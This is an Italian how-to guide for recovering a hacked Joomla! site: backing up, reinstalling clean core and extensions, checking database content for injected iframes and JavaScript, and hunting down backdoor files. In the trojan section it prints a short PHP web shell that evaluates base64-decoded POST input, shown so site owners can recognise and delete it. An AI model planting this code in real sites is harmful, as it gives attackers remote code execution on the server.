Come ripristinare il Joomla dopo un attacco hacker

Consigli e indicazioni tratti dal sito:
http://www.mmleoni.net/ripristinare-joomla-dopo-un-attacco
http://www.mmleoni.net/sviluppo-joomla-esempi-e-trucchi/51-ripristinare-joomla-dopo-un-hack-parte-2

Può capitare che il nostro sito Joomla! venga messo ko da un hacker: come lo si ripristina?
Come ci si accorge che è successo qualcosa? La condizione tipica è che al posto del sito appaia una pagina con la scritta hacked by *** o che l'antivirus segnali strane cose quando vi collegate al sito, oppure che il browser si segnali il vostro sito come contenente codice malevolo.
Può anche accadere che non riusciate a collegarvi all'amministrazione con la vostra password.
Vediamo come si può ripristinare la 'salute' del nostro sito Joomla! dopo un hacking.
Se avete un backup siete in una buona situazione, altrimenti potreste avere dei seri problemi.

1.
Come prima cosa scaricate il sito e ed il dump del db in modo di avere un back up della situazione attuale.
Fate riferimento a questo articolo
http://wiki.joomla.it/index.php?title=Trasferimento_siti_web_Joomla_da_locale_a_remoto_e_viceversa
per le istruzioni su come eseguire le due operazioni.

Se ne avete la possibilità salvate anche i files di log di apache e dello ftp. *Tutto ciò vi servirà per capire come è potuto avvenire l'attacco.*
Tenete presente che la quasi totalità degli hack è dovuta ad estensioni (componenti, moduli, plugins) non aggiornate, nella mia esperienza gli attacchi brute force per trovare le password li ho visti solo nei films...

2.
Se avete un backup recente del sito ripristinate il file system. Con recente intendo posteriore rispetto a qualsiasi installazione di componenti. Ciò servirà a ripristinare i files contenuti nelle estensioni installate. Se non avete il back up ricordatevi che i files installati dalle estensioni NON saranno sicuri.
Nell'effettuare il ripristino dei files state attenti a non sovrascrivere eventuali immagini, quindi occhio alla cartella /images/…

3.
Scaricate l'ultima versione di joomla e caricatela sul sito hackerato tramite ftp, ricordatevi di non caricare la directory installation.

Attenzione dovete scaricare l'ultimo rilascio della versione in uso: non potete installare la versione 1.5 su una precedente installazione della 1.0.
Nota: il sito è stato compromesso e quindi NON potete fidarvi più di alcun file, pertanto non è sufficiente caricare solo il file di aggiornamento.
I contenuti del sito sono mantenuti nel database, pertanto il ripristino di joomla non comporta alcuna perdita di informazioni. Possono tuttavia dare problemi quelle estensioni, poche per il vero, che agiscono come hack del core di joomla.

4.
Se non riuscite ad accedere all'amministrazione ripristinate la pw di admin, se necessario, seguendo questa quida:
http://wiki.joomla.it/index.php?title=Recupero_password_admin
Un'aggiunta alla guida: verificate anche che il campo block sia impostato a 0, se è impostato ad 1 non potrete accedere.

5.
Se non avete potuto fare il ripristino da backup accedete al back office e cambiate il template impostando uno di quelli standard di joomla.
Non riattivate il template finché non avrete avuto modo di verificarne il codice. Il template è un programma PHP, pertanto è assolutamente necessario essere sicuri del codice contenuto prima di mandarlo in esecuzione.

6.
Verificate tutti i contenuti (testi vari) e controllate che non contengano javascript o codici malevoli, poi controllate tutte le estensioni installate, provvedendo, ove necessario, all'aggiornamento.

Nota importante: non tutte le estensioni prevedono procedure di aggiornamento, in questo caso è consigliabile disinstallare l'estensione e ricaricala.

Questa operazione richiede una certa conoscenza della programmazione, dovrete infatti verificare che la procedura di disinstallazione non cancelli le tabelle create nel db (ciò al fine di non perdere tutti i dati) e nel caso modificare il codice per conservare le tabelle.

7.
Effettuate un back up di sito e db on line.

SQL Injection e siti Joomla!
Joomla! è abbastanza ben protetto da attacchi di tipo SQL Injection tuttavia la stessa affermazione non può essere fatta per parecchie delle migliaia di estensioni disponibili il cui uso ***rende un sito Joomla vulnerabile a questo tipo di attacchi***.

Uno degli avvenimenti che vi possono avvisare che stia accadendo qualcosa di brutto è la ricezione di mail di sistema (le email inviate automaticamente dal sito Joomla all'amministratore) con la richiesta di reset della password: in particolare se si tratta di quella di admin. In questi casi è doveroso un intervento di controllo il prima possibile.
Come evitare questi problemi? La prima regola è la **prudenza**: verificate attentamente l'estensione che volete installare, il supporto, l'aggiornamento e la frequenza di rilascio di patch di sicurezza. La seconda regola è la **moderazione**: non installate qualsiasi cosa sia possibile installare, ma selezionate le estensioni Joomla! che sono indispensabili per vostro sito e limitatevi a quelle. Ricordatevi sempre la massima di Henry Ford: "tutto quello che non c'è non può guastarsi"
Una regola pragmatica ed efficacie è quella di non usare mail il prefisso di default delle tabelle jos_ per l'installazione di un sito Joomla!

Leggendo le informazioni contenute nei logs di sistema si vede che quasi tutti gli attacchi sono volti ad alterare la tabella jos_users (e non #__users) pertanto il solo uso di un prefisso diverso rende questi attacchi inefficaci.

Cavalli di troia all'interno del sito
Sovrascrivere il sito va bene, ma **meglio sarebbe cancellarne prima il contenuto**, a parte le immagini, perché è possibile, se non probabile, che chi è riuscito ad accedere si sia lasciato dei 'cavalli di troia' per poter riguadagnare velocemente l'accesso qualora fosse stato scoperto l'hack.
Spesso questi programmi vengono lasciati qua e la tra le cartelle, e, quindi, se vi trovate uno strano file di pochi bites, che sostanzialmente contiene solo:

```
<?php
eval (base64_decode($_POST["php"]));
?>
```

sappiate che il vostro sito è stato vittima di un hack, ovvero qualcuno è riuscito ad entrare ed ha lasciato questo file per poter agevolmente mandare in esecuzione un codice php arbitrario sul vostro sito semplicemente inviandolo tramite una pagina form.
Questo file può assumere vari nomi (pop, post, google, mailcheck) e trovarsi in una o più directories, root compresa; pertanto è buona norma controllare ciclicamente le varie cartelle alla ricerca di files le cui date non siano coerenti con quelle dell'installazione di Joomla o delle sue estensioni.
Nota: questo è solo un esempio dei tanti possibili ***trojans*** che sono utilizzabili.

Questi files **devono essere cancellati**, infatti non prendendo il posto di alcun file originale di Joomla! non basta sovrascrivere l'installazione: altrimenti il sito resterà soggetto ad hacks.

Aumentare la sicurezza di Joomla! e proteggere il sito
Dopo la faticosa opera di ripristino del sito è fondamentale capire:
come sia avvenuto l'attacco, in modo che non possa ripetersi
come fare per evitare altri attacchi.
Sappiate che la triste verità è che nessun sito è sicuro, comunque è giusto fare tutto il possibile per aumentare la sicurezza. Le due attività citate **richiedono professionalità e competenza**, e difficilmente possono essere spiegate in poche righe, ma neanche in molte pagine: ***se il sito fa capo ad una attività professionale è opportuno rivolgersi ad un professionista***.
Peraltro invito alla lettura di quanto consigliato dagli stessi autori di Joomla! nella security checklist.

Ed ora ricordatevi di tenere aggiornato tanto il core (ovvero Joomla!) che le varie estensioni.

Evoluzione degli hacking
In un precedente articolo abbiamo visto come è possibile analizzare un sito che è stato oggetto di un hacking ed effettuarne il ripristino e metterlo in sicurezza.
Rispetto al precedente articolo è aumentato il numero di siti in cui l'intervento dell'hacker non è più dettato da fini di vanità, ma da scopi pratici quali quelli di **avere un sito per spedire spam o per redirigere il traffico proveniente dai motori di ricerca a siti terzi**. In questi casi, oltre a fare le modifiche atte allo scopo da raggiungere, *l'hacker si premura di lasciare un qualcosa che gli permetta di riguadagnare velocemente il controllo del sito quando il suo hack sia stato neutralizzato*.
Questo qualcosa è un file php che permette *l'esecuzione di comandi remoti* e che è nascosto tra le migliaia di files che compongono l'installazione di Joomla!. Ove il server lo consenta, l'hacker si premura di impostare la data di questo o di questi files in modo che coincida con quella dell'installazione originaria del cms o delle estensioni installate in modo da renderlo indistinguibile.

Come spiegato nel citato articolo, quando l'hacker ha sparso cavalli di troia per tutto il sito, **è inutile ricaricare il backup o sovrascrivere la versione di Joomla con una versione più recente**, o con una versione appena scaricata e quindi sicura, dato che **l'operazione ripristinerà il sito solo momentaneamente non andando a sovrascrivere i cavalli di troia**. All'hacker basterà richiamare uno di questi per ripristinare il controllo del sito.
Ripristino del sito 'bucato'
Vediamo ora come sia possibile rimettere in sicurezza un sito, in una maniera differente e più drastica rispetto a quella già descritta.

Backup
Come sempre la prima cosa da fare è un backup del sito, tanto dei file che del data base. Scaricate il sito,esportate un dump del db e comprimete il tutto. tenete a portata di ano il sito non compresso, tra poco servirà.
Nuova installazione
Recuperate ora i pacchetti di joomla e di tutte le estensioni che avete sul sito on line, *possibilmente nelle stesse versioni* e installate tutto su una macchina di test. Se non disponete di un server di test potrete utilizzare una virtual machine oppure, alla peggio, una delle varie soluzioni *wamp* disponibili in rete.

Sincronizzare i siti
Ora è necesario trasferire i dati del vecchio sito sul nuovo.
Per prima cosa ci occuperemo del data base, che è l'aspetto meno critico del problema. Infatti all'interno del db non può essere inserito niente che danneggi direttamente il nostro sito, possono però essere introdotti, nei testi degli articoli, **iframe** e **javascript** che danneggino i visitatori e lo facciano escludere dai motori di ricerca. E' però sufficiente una ricerca nel dump del DB, che è un file di testo, per trovare e correggere questi problemi. Fatto ciò, caricheremo il vecchio file di dump al posto del database appena ottenuto con la nuova installazione appena eseguita.

Ora occupiamoci del file system: qui è necessario **procedere con grande attenzione** onde evitare di trasferire anche i cavalli di troia. Dobbiamo trasferire le immagini ed i documenti presenti sul vecchio sito nel nuovo. Sicuramente dovremo trasferire il contenuto di /images/stories l'eventuale cartella destinata ai downloads e le immagini eventualmente posizionate all'interno dei componenti (ad esempio le immagini di categorie e prodotti in virtuemart).

Nel compiere questa operazione dovremo assicurarci che ogni file sia esattamente del tipo desiderato: **non fidatevi delle estensioni ogni file deve essere controllato**. Potete usare uno dei vari tool presenti su internet o nei sistemi *nix per effettuare il controllo velocemente, ma controllate con attenzione qualsiasi file individuato come *file di testo*.
Test di funzionamento
Se tutto è andato come doveva a questo punto avrete una copia funzionante e **assolutamente pulita** del sito che era stato bucato. Verificate che siano presenti tutte le immagini, i documenti e i download. Nel caso verificate le operazioni indicate nella seconda parte del punto precedente.

Aggiornare il sito
La copia del sito che ora avete ottenuto è sì pulita, ma è la stessa che già vi hanno bucato; pertanto, prima di procedere alla messa on line **provvedete ad eseguire tutti gli aggiornamenti disponibili**. Su questo stesso sito troverete poi vari **consigli relativi alla sicurezza** ed **un utile plugin** per intercettare una notevole parte dei possibili attacchi.
Trasferire in linea
Prima di trasferire la copia ottenuta in linea **è necessario cancellare ogni file presente sul filesystem del server di produzione**: solo in questo modo si potrà essere sicuri di non aver fatto un lavoro inutile. Ciò fatto trasferite in linea il sito (files e database); ricordatevi di aggiornare il file configuration.php, ma **non usate quello vecchio se non dopo attenta verifica del contenuto**.

Analisi dell'hack
Ora che il sito è stato ripristinato è necessario verificare di aver chiuso la porta da cui era entrato l'hacker. Teoricamente ciò andrebbe fatto prima di rimettere on line il sito, ma questa operazione è spesso lunga ed i tempi di inattività del sito debbono essere brevi: valutate voi se sia rischiabile il danno di immagine di un sito nuovamente bucato o meno.
Sappiate che **finché non avrete capito come ha fatto l'hacker a prendere il controllo del sito non potrete essere sicuri** che non lo faccia nuovamente.